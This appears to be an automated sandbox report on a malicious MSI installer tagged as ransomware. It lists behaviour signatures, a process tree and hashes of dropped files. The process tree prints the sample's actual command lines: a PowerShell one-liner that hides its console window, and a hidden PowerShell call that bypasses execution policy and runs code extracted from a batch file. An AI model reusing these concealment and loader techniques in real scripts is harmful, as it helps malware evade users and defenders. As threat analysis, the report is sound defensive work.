Overview

overview

8

Static

static

3

3574378_7_-setup.msi

windows10-2004-x64

8

3574378_7_-setup.msi

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/10/2026, 18:34

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    3574378_7_-setup.msi
  • Size 2.8MB
  • Sample261014-w76weaxt2q
  • SHA256 2acacf17cc8750af7b3372faee0ac5d90d49d856d54e3749f215ced0f9f9b4e0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoveryexecutionpersistenceprivilege_escalationransomware

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Windows directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\3574378_7_-setup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3488
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5124
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4976
      • C:\Windows\system32\cmd.exe
        cmd.exe /c call "C:\Users\Admin\AppData\Local\WjUuW6Mj\PaNwXK2V.bat" "C:\Users\Admin\AppData\Local\Temp\3574378_7_-setup.msi"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3076
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -nop -c "$q=[char]34; $d='public static class N {[System.Runtime.InteropServices.DllImport('+$q+'kernel32.dll'+$q+')]public static extern System.IntPtr GetConsoleWindow();[System.Runtime.InteropServices.DllImport('+$q+'user32.dll'+$q+')]public static extern System.IntPtr GetAncestor(System.IntPtr h,uint g);[System.Runtime.InteropServices.DllImport('+$q+'user32.dll'+$q+')]public static extern bool ShowWindow(System.IntPtr h,int n);}'; Add-Type -TypeDefinition $d; $c=[N]::GetConsoleWindow(); $r=[N]::GetAncestor($c,2); if($r -eq [IntPtr]::Zero){$r=$c}; [void][N]::ShowWindow($r,0)"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4676
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tjazhdwj\tjazhdwj.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1752
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9030.tmp" "c:\Users\Admin\AppData\Local\Temp\tjazhdwj\CSC52F848E11A4E496A8C4EA2BE5C3288A7.TMP"
              5⤵
                PID:5976
          • C:\Windows\System32\wscript.exe
            wscript //B //nologo "C:\Users\Admin\AppData\Local\Temp\b11383.vbs"
            3⤵
            • Executes a VBScript file via the Windows Script Host.
            • Suspicious use of WriteProcessMemory
            PID:2864
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$r=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\WjUuW6Mj\PaNwXK2V.bat');$i=$r.LastIndexOf('REM#');&([scriptblock]::Create($r.Substring($i+4)))"
              4⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4624
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        • Suspicious use of AdjustPrivilegeToken
        PID:3112

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e5984f6.rbs
            • Path C:\Config.Msi\e5984f6.rbs
            • Size 8KB
            • SHA256 d88660f8509629422626a082326bbd4681093f5febebb3ab984c2f813cc57e43
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 7d007e035e44b463778c59ea258501d83663a7194dafad3af77b9e41c6a8cea3
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            RES9030.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RES9030.tmp
            • Size 1KB
            • SHA256 9a8a29104b931b4d94adcf67cdfc9da29a0490633aeaaa0a3f9aaa3181e5a1aa
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_eh2nzkpf.ekc.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eh2nzkpf.ekc.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            b11383.vbs
            • Path C:\Users\Admin\AppData\Local\Temp\b11383.vbs
            • Size 175B
            • SHA256 a37ecd480b44bf715fc30be4f744e50efe937e62817c15e3a9439417cf7e4dfe
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            tjazhdwj.dll
            • Path C:\Users\Admin\AppData\Local\Temp\tjazhdwj\tjazhdwj.dll
            • Size 3KB
            • SHA256 d6adc123ad8889abbfc51963f5c7d3c7eede017933aec69a5c56359ae10efcfb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            PaNwXK2V.bat
            • Path C:\Users\Admin\AppData\Local\WjUuW6Mj\PaNwXK2V.bat
            • Size 80KB
            • SHA256 d1efce474ab584890a7cb592f9947393cab937656771f3fd91c7ee3c6cf7931b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e5984f7.msi
            • Path C:\Windows\Installer\e5984f7.msi
            • Size 2.8MB
            • SHA256 2acacf17cc8750af7b3372faee0ac5d90d49d856d54e3749f215ced0f9f9b4e0
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            metadata-2
            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 6d9086abfab688c042ebe68f59ccbaa1611d834a043175178130bd6ed48bd1f8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            {53d8f0ba-0af6-4733-861f-ed180ab9111a}_OnDiskSnapshotProp
            • Path \??\Volume{e70967fa-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{53d8f0ba-0af6-4733-861f-ed180ab9111a}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 2da6957c5b688531e9e62171d0716d5fdc8d67cf845a5db84c965d1e097d63c5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            CSC52F848E11A4E496A8C4EA2BE5C3288A7.TMP
            • Path \??\c:\Users\Admin\AppData\Local\Temp\tjazhdwj\CSC52F848E11A4E496A8C4EA2BE5C3288A7.TMP
            • Size 652B
            • SHA256 f9b206ecdad595c2d9cde8820df2eb32e5e29b8968a087c4d2952e1ac544c60c
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            tjazhdwj.0.cs
            • Path \??\c:\Users\Admin\AppData\Local\Temp\tjazhdwj\tjazhdwj.0.cs
            • Size 382B
            • SHA256 42706b4746dc80e36b32b6c85865604af5d31b57467671860ef7722aef4e64c0
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            tjazhdwj.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\tjazhdwj\tjazhdwj.cmdline
            • Size 369B
            • SHA256 6dc5f3e0b28c86b189bf3014de1e420312ffe01fe2f5b9a6db2380638fc1abb9
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/4624-49-0x0000000140000000-0x0000000140166000-memory.dmp
            Download

            memory/4624-51-0x00000200B2610000-0x00000200B2612000-memory.dmp
            Download

            memory/4624-61-0x00000200CB220000-0x00000200CB29A000-memory.dmp
            Download

            memory/4624-66-0x0000000140000000-0x0000000140166000-memory.dmp
            Download

            memory/4676-28-0x000001D73B9A0000-0x000001D73B9A8000-memory.dmp
            Download

            memory/4676-14-0x000001D73B700000-0x000001D73B722000-memory.dmp
            Download